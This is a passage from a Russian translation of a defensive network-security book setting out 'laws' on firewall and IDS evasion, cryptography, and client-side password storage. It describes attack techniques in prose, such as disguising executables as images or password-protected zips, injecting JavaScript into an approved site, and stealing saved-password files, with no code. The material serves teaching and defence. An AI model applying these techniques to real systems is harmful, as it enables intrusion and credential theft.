Защита от хакеров корпоративных сетей Коллектив авторов
Давайте рассмотрим пример максимально защищенного межсетевого экрана протокола HTTP. Пусть вы администратор межсетевого экрана. Вы сконфигурировали межсетевой экран таким образом, что разрешили только некоторые команды протокола HTTP. Вы разрешаете вашим пользователям посещать только те сайты, которые перечислены в списке из 20 санционированных к посещению сайтов. Вы настроили межсетевой экран таким образом, чтобы не пропускать программы на языках Java, JavaScript и ActiveX. Вы сконфигурировали межсетевой экран таким образом, что разрешили лишь загрузку HTML-файлов и файлов с расширениями gif и jpg.
Могут ли ваши пользователи чувствовать себя в безопасности за межсетевым экраном, настроенным подобным образом? Конечно, могут. Пусть я буду злым хакером (или возможно, неосведомленным в вопросах безопасности Web-мастером), пытающимся передать свою программу через такой межсетевой экран. Как мне обойти тот факт, что вы разрешили загружать только определенные типы файлов? Я разработаю и вывешу на всеобщее обозрение Web-страницу, которая сообщает вашим пользователям о необходимости нажатия правой копки мыши на jpg-файле для его загрузки на компьютер пользователя, а затем переименую загруженный файл в evil.exe, как только он окажется на вашем жестком диске (имеется в виду, что предварительно внедряемая программа была переименована в jpg-файл). Как преодолеть антивирусное программное обеспечение? Вместо сообщения вашим пользователям о переименовании файла в исполнимый exe-файл я сообщаю им о его переименовании в zip-файл и разархивирую его с использованием пароля «hacker». Ваше антивирусное программное обеспечение никогда не сможет проверить защищенный паролем архивный zip-файл. Пусть вы тем или иным способом не позволите своим пользователям попасть на мой сайт. Нет проблем. Все, что я должен делать, – это взломать один из одобренных вами для посещения сайтов. Однако вместо обычного очевидного искажения информации на сайте я оставлю все как есть, но с маленьким дополнением небольшого кода на JavaScript. К тому времени, когда кто-либо обнаружит эту едва различимую подмену, я наверняка добьюсь своей цели.
Разве производители межсетевых экранов не знают об этих проблемах? Хакеры и разработчики межсетевых экранов играют в бесконечную игру «догони меня». Производители межсетевых экранов вынуждены ждать, пока хакеры придумают новый тип атаки, поскольку они не знают, как им защититься, и поэтому всегда будут отставать.
В различных рассылках публикаций по тематике межсетевых экранов можно найти немало философских дебатов по точному определению периметра сетей, защищаемого межсетевыми экранами, но эти обсуждения сейчас неактуальны для нас. Для наших целей важно то, что межсетевые экраны – это коммерческие продукты, продаваемые как аппаратно-программные средства межсетевой защиты, которые, как утверждается, выполняют фильтрацию информации в сети, маршрутизаторах и т. д. В основном нас интересует то, как мы получаем нашу информацию через межсетевой экран.
Оказывается, есть множество способов подвергнуться нападению через межсетевой экран. В идеале межсетевые экраны осуществляют политику безопасности в полной мере. В действительности межсетевой экран создают люди, поэтому он далек от совершенства. Одна из основных проблем межсетевых экранов состоит в том, что его администраторы с трудом могут ограничить именно тот трафик, который они хотели бы. Например, в политике безопасности может быть заявлено, что разрешен доступ к Интернету по протоколу HTTP и запрещено использование RealAudio. Администратору межсетевого экрана следует запретить порты RealAudio, не так ли? Проблема состоит в том, что люди, которые написали RealAudio, понимая, что подобное может произойти, предоставили пользователю возможность загрузить файлы RealAudio по протоколу HTTP. В действительности если вы при настройке не укажите явно вариант доступа к содержимому RealAudio с Web-сайта, то большинство версий RealAudio выполнит ряд проверок для определения варианта подобного доступа. При этом, если это потребуется, автоматически будет выбран протокол HTTP. Фактически проблема в этом случае состоит в том, что любой протокол может быть туннелирован по любому другому, если только синхронизация по времени не критична (то есть если туннелирование не приведет к чрезмерному замедлению работы). RealAudio выполняет буферизацию, если сталкивается с проблемой синхронизации.
Разработчики различных интернетовских «игрушек» хорошо осознают, какие протоколы обычно разрешены, а какие нет. Много программ разработано с использованием протокола HTTP в качестве основного или резервного средства переноса информации через сеть.
Вероятно, существует много способов нападения на компанию, защищенную межсетевым экраном, и без какого-либо воздействия на экран. Можно атаковать, используя модемы, дискеты, взятки и подкуп, взлом компьютерных систем защиты, получение физического доступа к компьютеру и т. д. Но сейчас мы рассматриваем атаки на межсетевой экран.
Социотехника
Социотехника – это искусство обмана пользователей сети или администраторов, используемое злоумышленниками с целью выведывания паролей, необходимых для проникновения в защищенную систему. Обман – один из первых и наиболее очевидных способов преодоления межсетевого экрана. Электронная почта стала очень популярным средством, с помощью которого предпринимаются попытки обмануть людей, заставив их совершить дурацкие поступки. Вирусы «Мелисса» и «I live you» – наиболее известные примеры подобного обмана. Другими примерами могут служить специально написанные программы, демонстрирующие свое злонамеренное поведение во время выполнения (Троянские кони), или вполне легальные программы, которые были «инфицированы» или взяты под контроль тем или иным способом (Троянские кони/вирусы). В большинстве операций массовой почты низкой скорости реакции пользователя вполне достаточно для успеха. В случае злонамеренной пользовательской программы ущерб может быть особенно значительным, поскольку у антивирусных программ нет шансов обнаружить ее. Для информации о том, что можно сделать с вирусом или Троянским конем, см. главу 15.
Нападение на незащищенные сервера
Другой способ пройти межсетевой экран состоит в том, чтобы напасть на незащищенные участки сети. Межсетевые экраны образуют демилитаризованную зону (DMZ), в которой размещаются Web-сервера, почтовые сервера и т. д. Известны дебаты относительно того, является ли классическая демилитаризованная зона сетью, находящейся целиком вне действия межсетевого экрана (и поэтому им не защищенной), или демилитаризованная зона – это некоторая промежуточная сеть. В настоящее время в большинстве случаев Web-сервера, почтовые сервера и т. п. относятся к так называемому третьему интерфейсу межсетевого экрана, который защищает их от воздействия извне, не позволяя в то же время компонентам внутренней сети устанавливать с ними доверительные отношения и напрямую принимать от них информацию.
Проблема для администраторов межсетевых экранов состоит в том, что межсетевые экраны не до конца интеллектуальны. Они могут фильтровать потоки информации, могут требовать выполнения процедуры аутентификации и регистрировать информацию, но они не могут отличить плохой разрешенный запрос от хорошего. Например, автору не известен ни один межсетевой экран, способный отличить легитимный запрос для Web-страницы от нападения с использованием сценария CGI. Конечно, некоторые межсетевые экраны могут быть запрограммированы для поиска некоторых типов CGI-сценариев, которые пытались выполнить (например, *.phf). Но если вы захотите распространить CGI-сценарий для совместного использования, межсетевой экран не в состоянии отличить законных пользователей от атакующего злоумышленника, нашедшего дырку в системе защиты. Многое из сказанного справедливо для протоколов SMTP, FTP и большинства других широко используемых сервисов. Все они уязвимы. (В главе 7 приведены дополнительные сведения о нападениях на сетевые сервисы и примеры атак при помощи CGI-сценариев.)
Предположим, что вы нашли способ проникнуть на сервер в демилитаризованной зоне. В результате вы получили доступ к корневому каталогу сервера или права администратора на сервере. Означает ли это, что удалось проникнуть во внутреннюю сеть? Пока еще нет. Вспомните, что согласно ранее данному определению демилитаризованной зоны устройства зоны не имеют доступа во внутреннюю сеть. На практике это выполняется не всегда, поскольку очень немногие изъявляют желание заниматься администрированием своих серверов, сидя за консолью. Что, если на FTP-сервере, например, они захотели бы открыть всем, исключая себя, доступ к FTP-портам? И пусть в интересах работы организации наибольшая часть трафика в сети должна проходить от внутренней сети к демилитаризованной зоне. Большинство межсетевых экранов могут работать как диоды, пропуская трафик только в одном направлении. Организовать подобный режим работы сложно, но можно. В этом случае главная трудность проникновения во внутреннюю сеть состоит в том, что вы должны находиться в ожидании наступления определенных событий. Например, если вы поймаете момент начала передачи данных по протоколу FTP или момент открытия администратором во внутренней сети окна XWindow (XWindow окна широко используются в сетевой среде UNIX протокола для многооконного отображения графики и текста), то у вас появится возможность проникнуть во внутреннюю сеть.
Более вероятно, что вы захотите найти порт, открытый для работы. Многие сайты поддерживают сервисные возможности, для работы которых требуется, чтобы компьютеры демилитаризованной зоны могли инициировать обратную связь с компьютерами внутренней сети. Это может быть электронная почта (почта должна быть доставлена во внутреннюю сеть), поиск по базам данных (например, для сайтов электронной коммерции) и, возможно, механизмы отчетности (вероятно, системные журналы). Попытка проникновения из демилитаризованной зоны во внутреннюю сеть упрощается, потому что вы сможете точно определить момент обмена информацией между демилитаризованной зоной и внутренней сетью. Рассмотрим следующую ситуацию. Предположим, что вам удалось успешно проникнуть на почтовый сервер в демилитаризованной зоне, используя ошибки почтового демона (демон – сетевая программа, работающая в фоновом режиме, или процедура, запускаемая автоматически при выполнении некоторых условий). Появились хорошие возможности наладить связь из демилитаризованной зоны с внутренним почтовым сервером. Возможности хороши, поскольку на внутреннем почтовом сервере выполняется тот же самый почтовый демон, который вы только что взломали, или даже менее защищенный (в конце концов, это – внутренний компьютер, который не предназначен для непосредственной работы с Интернетом, не так ли?).
Прямое нападение на межсетевой экран
Иногда вы полагаете, что межсетевой экран скомпрометирован. Это может случиться как с доморощенными межсетевыми экранами (для которых необходимо получить предварительную экспертизу у администратора экрана), так и с промышленными (которые иногда могут давать ложное представление о безопасности и поэтому также нуждаются в предварительной экспертизе). Бывает, что консультант хорошо настроил межсетевой экран, но в настоящее время не осталось человека, который знал бы, как его обслуживать. Сведения о новых нападениях издаются все время, но если люди не обращают на них внимания, то они не будут знать ни о патчах, ни об их применении.
Тип атаки на межсетевой экран сильно зависит от точного типа межсетевого экрана. Вероятно, лучшими источниками информации относительно слабых мест в системе защиты межсетевых экранов являются различные списки адресатов для рассылки публикаций по вопросам безопасности. Особенно квалифицированный злоумышленник изучил бы намеченный для атаки межсетевой экран максимально подробно, а затем затаился в ожидании уязвимости, которая не была устранена.
Бреши в системе безопасности клиентской части
Один из лучших способов обхода защиты межсетевого экрана основан на использовании ее слабых мест. Кроме уязвимостей Web-браузера, в состав программ с возможными брешами в системе защиты входят такие программы, как AOL Instant Messenger, MSN Chat, ICQ, клиент IRC и даже Telnet и клиенты ftp. Возможно, потребуются дополнительные исследования, терпение и немного удачи, для того чтобы воспользоваться слабыми местами в их системе защиты. Рекомендуется найти пользователя в организации, намеченной для нападения, который сможет запустить одну из этих программ. Многие из программ интерактивной переписки содержат средства обнаружения собеседников, поэтому нет ничего необычного в том, что люди публикуют свой номер ICQ на своей домашней страничке. (I Seek You – система интерактивного общения в Internet, позволяющая находить в сети партнеров по интересам и обмениваться с ними сообщениями в реальном масштабе времени.) Значит, легко найти программу victim.com и номер ICQ, которые будут использованы для обхода системы защиты. А затем дождаться, когда предполагаемый человек будет на работе, и совершить задуманное с использованием его номера ICQ. Если воспользоваться серьезной брешью в системе безопасности, то, вероятно, удастся передать выполнимый код через межсетевой экран, который может сделать все, что вы захотите.
Примечание
Этот закон используется в главах 7, 11, 12, 13, 15 и 17.
Закон 6. От любой системы обнаружения атак можно уклониться
Во время написания книги уже существовали сотни производителей программно-аппаратных средств обнаружения вторжения (IDS – intrusion detection system), объединенных с межсетевыми экранами и средствами защиты от вирусов или реализованных как автономные системы. Принцип работы системы обнаружения вторжения слегка отличается от работы межсетевых экранов. Межсетевые экраны предназначены для остановки небезопасного трафика в сети, а системы обнаружения вторжения – для его определения, но не обязательно его остановки (хотя ряд систем обнаружения вторжения будет взаимодействовать с межсетевыми экранами для запрещения трафика). Системы обнаружения вторжения способны распознать подозрительный трафик при помощи ряда алгоритмов. Одни из них основаны на совпадении трафика с известными образцами нападений, очень схожими с базой данных сигнатур антивирусной программы. Другие проверяют трафик на соответствие правилам оформления трафика и его признаков. Третьи – анализируют признаки стандартного трафика и наблюдаемого на предмет отличия от статистической нормы. Поскольку системы обнаружения вторжения постоянно контролируют сеть, то они помогают обнаружить нападения и необычные условия как внутри сети, так и вне ее и обеспечить новый уровень безопасности от внутреннего нападения.
От межсетевых экранов, методов обеспечения безопасности клиентской части и от систем обнаружения вторжения можно уклониться и работать с ними в одной сети, не обращая на них внимания. Одна из причин этого заключается в наличии пользователей, работающих на компьютерах внутри сети. Ранее было показано, что по этой причине система становится уязвимой. В случае межсетевых экранов и систем обнаружения вторжения появляется еще одна причина ослабления системы безопасности: хотя при первой установке межсетевых экранов и систем обнаружения вторжения их настройки обеспечивают безопасность, со временем ухудшается обслуживание систем, притупляется осторожность при внесении изменений в их настройки и снижается бдительность. Это ведет ко многим ошибочным настройкам и неверному обслуживанию системы, а в результате появляются предпосылки для уклонения злоумышленника от системы обнаружения вторжения.
Для злоумышленников проблема с системой обнаружения вторжения состоит в том, что они не смогут определить факт ее присутствия и работы. В отличие от межсетевых экранов, которые легко обнаружить при атаке, системы обнаружения вторжения могут быть полностью пассивными и поэтому незаметными. Они могут распознать подозрительную активность в сети и незаметно для злоумышленника предупредить об угрозе администратора безопасности сайта, подвергнувшегося нападению. В результате злоумышленник сильно рискует подвергнуться судебному преследованию за нападение. Задумайтесь над вопросом приобретения системы обнаружения вторжения! Свободно распространяемые системы обнаружения вторжения доступны и жизнеспособны, позволяя экспериментировать с различными методами обнаружения атак, которые предлагаются их разработчиками. Обеспечьте аудит системных журналов, потому что ни одна система не достигнет когда-либо уровня понимания хорошо осведомленного в этой области человека. Обеспечьте абсолютные гарантии своевременного обновления программного обеспечения новейшими патчами и реагирования на современные сообщения о выявленных уязвимостях в системе защиты. Подпишитесь на различные профильные рассылки и читайте их. С точки зрения нападения, помните, что злоумышленник может получить ту же самую информацию, которая есть у вас. Это позволит злоумышленнику выяснить, что различает системы обнаружения вторжения и, что более важно, как это делается. Внесенные в код программы злоумышленника изменения приведут к тому, что система обнаружения вторжения не сможет обнаружить опасность при помощи своих оригинальных признаков или установок.
В последние месяцы системы обнаружения вторжения играли ключевую роль в сборе информации о новых типах атак. Это затрудняет осуществление атак злоумышленниками. Ведь чем быстрее станет известен и опубликован алгоритм атаки, тем легче защититься от нее, поскольку в систему защиты будут внесены исправления. На самом деле любое новое исследование, проведенное злоумышленником, будет представлять ценность в течение короткого периода времени. Авторы полагают, что через несколько лет системы обнаружения вторжения войдут в число стандартного оборудования Интернет-соединений каждой организации, как межсетевые экраны сегодня.
Примечание
Этот закон используется в главе 16.
Закон 7. Тайна криптографических алгоритмов не гарантируется
Этот специфический «закон», строго говоря, не является законом в определенном ранее смысле. Теоретически возможно существование безопасного криптографического алгоритма, разработанного в частном порядке, незаметно от других. Такое может быть, но только не в нашем случае. Криптографический алгоритм можно полагать безопасным только после продолжительного открытого обсуждения алгоритма и многочисленных неудачных попыток взлома алгоритма хорошими криптографами.
Брюс Шнейер (Bruce Schneier) часто заявлял, что любой может изобрести криптографический алгоритм, но не каждый – взломать его. Программисты и криптографы знают это очень хорошо. Программисты не могут эффективно протестировать собственную программу, точно так же как криптографы не могут эффективно оценить свой криптоалгоритм. Криптограф должен знать все возможные типы атак и результат их воздействия на его алгоритм. То есть он должен знать типы известных атак и атак, которые могут появиться в будущем. Ясно, что никакой криптограф не может предсказать будущее, но некоторые из них способны изобрести криптостойкий в новых условиях алгоритм в силу своего предвидения или догадки о некоторых возможных типах атак в будущем.
В прошлом это было показано уже не один раз. «Криптограф» изобретает новый алгоритм. Для новичка это уже прекрасно. Изобретя алгоритм, «криптограф» может следующее: использовать его конфиденциально, опубликовать детали алгоритма или на основе алгоритма выпустить коммерческий продукт. В случае опубликования алгоритма он, за редким исключением, часто взламывается достаточно быстро. А как насчет других двух вариантов? Если алгоритм не обеспечивает безопасности в момент его опубликования, то он небезопасен в любое время. Что еще можно добавить о личной безопасности автора или его клиентов?
Почему так получается, что почти все новые алгоритмы терпят неудачу? Один ответ состоит в том, что трудно получить хороший криптоалгоритм. Другой – сказывается недостаток соответствующих знаний. На всех хороших криптографов, которые могли бы раскрыть чей-либо алгоритм, приходится намного больше людей, желающих попробовать его написать. Авторам в области криптографии нужна богатая практика, чтобы научиться созданию хороших криптографических средств. Это означает, что им нужно раскрывать свои алгоритмы много раз, чтобы они смогли научиться на своих ошибках. Если они не смогут найти людей, взломавших их криптосредства, доказать их высокое качество становится тяжелее. Худшее, что может произойти, – это когда некоторые авторы сделают вывод о безопасности криптоалгоритма только потому, что никто его не раскрыл (вероятно, из-за недостатка времени или интереса).
В качестве примера предвидения будущего рассмотрим стандарт шифрования DES. В 1990 году Ели Бихам (Eli Biham) и Ади Шамир (Adi Shamir), два всемирно известных криптографа, обнаружили нечто, что впоследствии они назвали дифференциальным криптоанализом (differential cryptanalysis). Это произошло спустя некоторое время после изобретения DES^ и принятия его в качестве стандарта. Естественно, они испытывали новые методы дифференциального криптоанализа на DES. У них была возможность усовершенствовать атаку по типу простой грубой силы (simple brute-force attack), но при этом выяснилось, что эти улучшения не приводят к принципиальному уменьшению времени взлома DES. Оказалось, что структура блоков подстановки s-boxes в DES была почти идеальна для защиты от дифференциального криптоанализа. Казалось, что кто-то, кто разрабатывал DES, знал или подозревал о технике дифференциального криптоанализа.
Очень немногие криптографы способны изобрести алгоритмы такого качества. Как правило, они же могут и взломать хорошие алгоритмы. Авторы слышали, что несколько криптографов поддерживают попытки взлома алгоритмов других авторов, рассматривая это как способ обучения написания хороших алгоритмов. Эти мирового класса криптографы, допуская, что их алгоритмы могут быть взломаны, знакомят криптографический мир со своими работами для экспертизы. И даже в этом случае требуется время для корректной оценки. Некоторые новые алгоритмы в процессе работы используют передовые методы. В этом случае для их взлома может потребоваться новаторская техника атак, на разработку которой нужно дополнительное время. Кроме того, большинство квалифицированных специалистов в области криптографии пользуются большим спросом и весьма заняты, поэтому у них нет времени на рассмотрение каждого опубликованного алгоритма. В некоторых случаях алгоритм должен был бы, казалось, стать популярным хотя бы потому, что на его проверку потрачено значительное время. Все эти шаги по тестированию алгоритмов требуют времени – иногда на это уходят годы. Поэтому даже лучший криптограф иногда посоветует не доверять своему новому алгоритму, пока он не выдержит тщательного длительного испытания. Время от времени даже лучшие в мире криптографы изобретают слабые криптографические средства.
В настоящее время правительство Соединенных Штатов решило заменить DES новым стандартом криптографического алгоритма. Новый стандарт будет называться улучшенным стандартом шифрования AES (Advanced Encryption Standard), и национальный институт стандартов и технологии NIST (National Institute of Standards and Technology) выбрал алгоритм «рейндолл» (Rijndael) в качестве основы AES алгоритма. (Принят Министерством торговли США 12 октября 2000 года вместо устаревшего стандарта DES.) Большинство лучших мировых криптографов представили на рассмотрение свои работы на конференции продолжительностью в несколько дней. Несколько алгоритмов во время конференции были раскрыты другими криптографами.
Авторы не смогут научить читателя правилам вскрытия реальных криптографических средств. В рамках одной книги это невозможно. Хотя авторы приготовили отдельные забавные криптографические упражнения. В мире много людей, которые хотели бы создавать и продавать криптографические средства только потому, что они считают себя хорошими криптографами. Зачастую разработчики понимают невозможность использования существующих криптографических средств из-за недостатков отдельных ключей. В этом случае для скрытия своих действий они могут выбрать что-то более простое, но тогда взломать результаты их работы можно гораздо быстрее. (В главе 6 будет показано, как это сделать.)
Итак, суть этого закона заключается не в том, чтобы на его основе что-то сделать, а скорее всего в том, чтобы акцентировать внимание на этом вопросе. Вы должны применять данный закон для оценки характеристик криптографических средств. Очевидное решение заключается в использовании известных криптографических алгоритмов. Но при этом обязательно следует проводить максимально возможную проверку их разумного использования. Например, какой прок в применении алгоритма 3DES, если использовать только семисимвольный пароль? Большинство выбираемых пользователями паролей использует лишь несколько бит из возможного количества бит на букву. В этом случае семь символов гораздо меньше 56 бит.
Примечание
Этот закон используется в главе 6.
Закон 8. Без ключа у вас не шифрование, а кодирование
Это универсальный закон – никаких исключений. Только убедитесь, действительно ли используются ключи и насколько хорошо организовано управление ими. Очень похожее мнение высказывает Скотт Кулп (Scott Culp) в своем законе № 7 «Безопасность зашифрованных данных определяется безопасностью ключа их расшифровки».
Ключ при шифровании используется для обеспечения уникальности результатов в условиях, когда каждый использует тот же самый небольшой набор алгоритмов. Разработать хороший криптографический алгоритм трудно, поэтому только небольшая их часть используется во многих различных приложениях. Необходимость в новых криптографических алгоритмах появляется нечасто потому, что известные сейчас алгоритмы могут использоваться во многих областях (подпись сообщения, блочное шифрование и т. д.). Если хорошо известный (и предсказуемый) тип атаки методом грубой силы занимает много времени, то нет достаточных причин для замены криптоалгоритма. Уже было написано, что не следует полностью доверять новым криптографическим алгоритмам.
В ранней истории криптографии большинство схем зависели от взаимодействующих сторон, использующих ту же самую систему скремблирования (скремблирование – шифрование путем перестановки и инвертирования групп символов) посылаемых друг другу сообщений. Ключ или разновидность ключевой фразы (pass-phrase) обычно не использовались. Двум сторонам нужно было договориться о схеме преобразования, например о замене каждой на букву, находящуюся в алфавите на три позиции дальше, чем заменяемая, и они могли посылать сообщения.
Позже начали использовать более сложные системы. Результат преобразования сообщения с их помощью зависел от слова или фразы, устанавливающих начальное состояние процесса преобразования сообщений. Такие системы были широко известны. Они позволяли обмениваться сообщениями со многими сторонами и обеспечивали определенную безопасность при условии использования различных фраз.
Рассмотренные два типа систем позволяют лучше увидеть концептуальное различие между кодированием и шифрованием. При кодировании ключ не используется, и если вовлеченные в обмен информацией стороны хотят обеспечить секретность, то их схема кодирования должна быть секретной. При шифровании используется ключ (или ключи), который обе стороны должны знать. Алгоритм шифрования может быть известен, но если у злоумышленника нет ключей, знание алгоритма ему не поможет.
Конечно, проблема состоит в том, что схемы кодирования редко удается сохранить в тайне. Перед обменом каждый получит копию алгоритма. Если ключ не использовался, то каждый, получивший копию программы, сможет расшифровать все зашифрованное этой программой. Это не сулило ничего хорошего массовому рынку криптографических средств. Использование ключа позволяет применять известные хорошие алгоритмы во многих приложениях. Что вы сделаете, когда столкнетесь с криптографическим средством, о котором известно, что в нем используется тройное DES-шифрование, но вводить пароли не нужно? Бегите прочь! Возможность расшифровки сообщений, зашифрованных DES и его разновидностями (подобно 3DES), зависит от секретности ключа. Если ключ известен, то тайны могут быть расшифрованы. Откуда средство берет ключ для работы, если не от пользователя? Откуда-то с жесткого диска компьютера.
Этот вариант лучше использования слабого алгоритма? Вероятно, это слегка лучше, если зашифрованные файлы предназначены для переноса на другой компьютер, например через сеть. Если их перехватят вне компьютера, то они могут остаться в безопасности. Однако если модель угрозы включает людей, имеющих непосредственный доступ к компьютеру, то ситуация сильно меняется, поскольку они могут завладеть ключами. Криптографы хорошо поднаторели в определении схем кодирования и расшифровки сообщений. Если вы говорите о встроенной в продукт массового рынка схеме кодирования, забудьте о возможности сохранения в тайне алгоритма ее работы. У злоумышленника будут все необходимые возможности для определения схемы кодирования.
Если вы столкнетесь с системой, про которую говорят, что она шифрует коммуникации и при этом, кажется, ей не нужно обмениваться ключами, хорошо подумайте над этим. Задайте производителю побольше вопросов о том, как именно она работает. Вспомните все, что ранее говорилось о надежном обмене ключами. Если ваш производитель замалчивает вопросы обмена ключевой информацией и не может досконально объяснить детали точного решения проблемы обмена ключами, то, вероятнее всего, вы встретили небезопасное средство. В большинстве случаев для вас должна быть нормой необходимость иметь программные ключи в различных конечных точках коммуникаций.
Примечание
Этот закон используется в главах 6 и 10.
Закон 9. Пароли не могут надежно храниться у клиента, если только они не зашифрованы другим паролем
Это утверждение о паролях в особенности относится к программам, которые в той или иной форме хранят пароль на компьютере клиента в архитектуре клиент-сервер. Помните, что клиентская машина всегда полностью контролируется работающим на ней пользователем. Поэтому в общем случае нельзя гарантировать безопасное хранение информации на клиентском рабочем месте. Как правило, сервер отличается тем, что пользователь-злоумышленник вынужден взаимодействовать с сервером при помощи сетевых средств через, скорее всего, ограниченный интерфейс. Допускается единственное исключение из правила о недопущении хранения информации на уязвимой машине клиента: хранимая информация должна быть зашифрованной. Этот закон – фактически специфический вариант предыдущего: «Без ключа у вас не шифрование, а кодирование». Ясно, что это относится к паролям, поскольку они специфический вариант информации. О паролях говорится отдельно, потому что в приложениях безопасности они часто заслуживают специального внимания. Каждый раз, когда приложение запрашивает у вас пароль, вам следует задуматься: «Каким образом пароль будет сохранен?» Некоторые программы не хранят пароль после его использования, потому что они больше не нуждаются в нем. По крайней мере, до следующего раза. Например, многие Telnet– и ftp-клиенты вообще не запоминают пароли. Они сразу передают их серверу. Другие программы предложат «вспомнить» ваш пароль. Они могут предложить щелкнуть на иконке вместо ввода пароля.
Насколько надежно эти программы хранят ваш пароль? Оказалось, что в большинстве случаев они не могут надежно хранить ваш пароль. Согласно предыдущему закону, поскольку преобразование выполнялось без использования ключа, то все, что они могут сделать, – это закодировать пароль. Это может быть очень сложный алгоритм кодирования, тем не менее это кодировка, потому что у программы должна быть возможность расшифровки пароля для последующего использования. Если программа сможет это сделать, то сможет и кто-то еще.
Данный факт также универсален, хотя могут быть очевидные исключения. Например, Windows предложит вам сохранить пароли для доступа по телефонной линии dial-up. Вы щелкаете на иконке и регистрируетесь у вашего Интернет-провайдера. Судя по всему, ваш пароль хранится где-нибудь на жестком диске в закодированном виде и его можно декодировать, правильно? Не обязательно. Майкрософт разработал процедуру сохранения этого пароля во время регистрации пользователя Windows. (Регистрация – процедура идентификации пользователя при вхождении в компьютерную систему.) Если у вас есть такой сохраненный пароль, пробуйте щелкнуть на кнопке «Отмена» вместо ввода вашего пароля регистрации во время загрузки Windows. Вы найдете, что ваш сохраненный пароль для доступа по телефонной линии недоступен, потому что Windows использует пароль регистрации для разблокировки пароля доступа по телефонной линии. Все необходимое для выполнения этих операций хранится в файле с расширением. pwl в директории Windows.
Иногда, по ряду причин, программное обеспечение захочет сохранить нужную ему информацию на машине клиента. Например, Web-браузеры сохраняют файлы cookies (в системах с удаленным доступом – пароль, порождаемый сервером при первом подключении и отсылаемый пользователю; при последующих подключениях пользователь должен предоставлять серверу этот пароль) и, иногда, пароли. (Последние версии браузера Internet Explorer предложат запомнить ваши имена и пароли.) Программы, которые для доступа к серверу используют компоненту идентификации, типа Telnet-клиентов и программ чтения почты, также часто сохраняют пароль. С какой целью сохраняются ваши пароли? Для того, чтобы вы не должны были вводить их каждый раз.
Очевидно, что включение в программы такой возможности не является хорошей идеей. Если на вашей машине есть иконка, просто щелкнув на которую, вы получаете доступ к серверу, и при этом серверу автоматически передаются ваше имя и пароль, то любой подошедший может сделать то же самое. С точки зрения безопасности, можно ли было сделать что-нибудь худшее, чем это? Как мы увидим, да.
Давайте рассмотрим пример клиента электронной почты, который услужливо помнит за вас ваш пароль. Вы делаете ошибку, оставляя на мгновение злоумышленника наедине с вашим компьютером. Что он может сделать? Ясно, что он может легко прочитать вашу почту и получить постоянный доступ к ней. Поскольку в большинстве случаев пароли почты передаются открыто (и давайте предположим, что в нашем случае это так и есть), то если у злоумышленника есть программа «захвата пакетов» (packet capture program), он мог бы быстро загрузить ее на ваш компьютер. Или если у него был бы наготове портативный компьютер (laptop), он смог бы переписать ваши пароли. Это лучше, чем типичная мониторинговая атака, так как у него есть возможность заставить ваш компьютер переслать кому-либо ваш пароль по его желанию.
Однако у него может не быть времени для таких сложных приготовлений. Тогда он может незаметно вынуть дискету из-за пазухи и скопировать файл. Возможно, вместо этого злоумышленник смог бы переслать файл через сеть, если был бы уверен, что не будет где-нибудь зарегистрирован в системном журнале и обнаружен. Конечно, предварительно ему следовало бы знать, на какой файл или на какие файлы обратить внимание. Это потребовало бы дополнительной подготовки или исследования. Злоумышленник должен был бы знать, какую почтовую программу вы обычно используете. Но если он находится в вашем офисе, то у него хорошие шансы обменяться с вами почтой, а каждое электронное письмо, которое вы посылаете злоумышленнику, сообщает ему в заголовке, какую программу электронной почты вы используете.
Что содержится в украденном злоумышленником файле? Ваш сохраненный пароль, конечно. Некоторые программы сохраняют пароль в явном виде, позволяя злоумышленнику прочитать его непосредственно. Это плохо с точки зрения безопасности, и, как будет видно дальше, подобные программы незатейливо просты. В этом случае вы должны попробовать отключить любые возможности программы, позволяющие локализовать место хранения пароля, если это возможно.
Если при просмотре файла ничто не напоминает пароль, то можно найти копию такой же почтовой программы, воспользоваться вашим файлом и щелкнуть на кнопке «Соединить». У злоумышленника появилась возможность получать вашу почту. Если он все еще не удовлетворил своей любознательности, то теперь он может организовать перехват пакетов и на досуге найти пароль. Но, возможно, есть причина, по которой злоумышленник не хочет (или не может) щелкнуть на кнопке «Соединить» и наблюдать за мгновенной передачей пароля. Возможно, злоумышленник не может добраться до сервера в данный момент, потому что сервер находится в защищенной сети. Вероятно, вы использовали протокол, который не посылает пароль в явном виде.
Подумайте над следующим: без всякой помощи ваша почтовая программа знает, как расшифровать пароль и отослать его (или некоторую его форму). Как она это делает? Очевидно, она знает что-то, что не знает злоумышленник, по крайней мере сейчас. Программа или знает алгоритм раскодировки, который является одинаковым для каждой копии этой программы, или знает секретный ключ расшифровки пароля, который должен храниться на вашем компьютере.
В любом случае, если действительно украдены правильный файл или файлы, то у злоумышленника есть все для определения вашего пароля даже без попытки использовать его. Если это простое декодирование, то можно определить алгоритм с использованием эксперимента и догадки или дизассемблировать часть программы, реализующей этот алгоритм и определить его. На это может потребоваться время, но при известной настойчивости есть все для его определения. Затем ваш секрет может быть рассказан остальным, чтобы каждый смог это легко сделать.
Если программа действительно использует шифрование, то в случае кражи нужного файла или файлов и это не является гарантией безопасности. Ведь если программа может расшифровать пароль, а все действия злоумышленника по его раскодировке ни к чему не привели, то ясно, что программа где-нибудь должна хранить ключ расшифровки. Злоумышленнику следует только удостовериться в том, что файл ключа расшифровки тоже украден.
Разве программа не могла потребовать, чтобы законный пользователь помнил ключ расшифровки? Могла, но тогда почему пароль клиента запоминается в первую очередь? Только для того, чтобы пользователь не вводил пароль постоянно.
Примечание
Этот закон используется в главе 6.
Приоткрывая завесуБудьте бдительны!
Недавно усилился интерес к обсуждению совершенных атак для выяснения причин быстрого распространения злонамеренного программного кода и увеличения числа нападений. К счастью, большинство атак ориентировано на использование уже известных уязвимостей операционных систем и программ приложений. Например, в этом году многие атаки вируса Code Red и его модификаций были нацелены на уязвимости атакованных программных средств, известные в течение длительного времени. Грустно сознавать (и это смущает как с профессиональной, так и с личной точки зрения), что целый ряд сетевых администраторов и специалистов не смогли обеспечить работоспособность своих систем, своевременно исправляя найденные в них ошибки. Ни сколь угодно длительное обучение, ни подробная документация не сможет защитить ваши системы, если вы потеряете бдительность и перестанете поддерживать высокую квалификацию в области настройки своих систем.
Закон 10. Для того чтобы система начала претендовать на статус защищенной, она должна пройти независимый аудит безопасности
Писатели знают, что они не в состоянии качественно вычитать корректуру своей собственной работы. Программисты должны знать, что они не смогут протестировать на ошибки свои собственные программы. Большинство компаний, разрабатывающих программное обеспечение, понимая это, нанимают тестировщиков программного обеспечения. Они ищут ошибки в программах, которые препятствуют выполнению заявленных функций. Это называется функциональным тестированием.
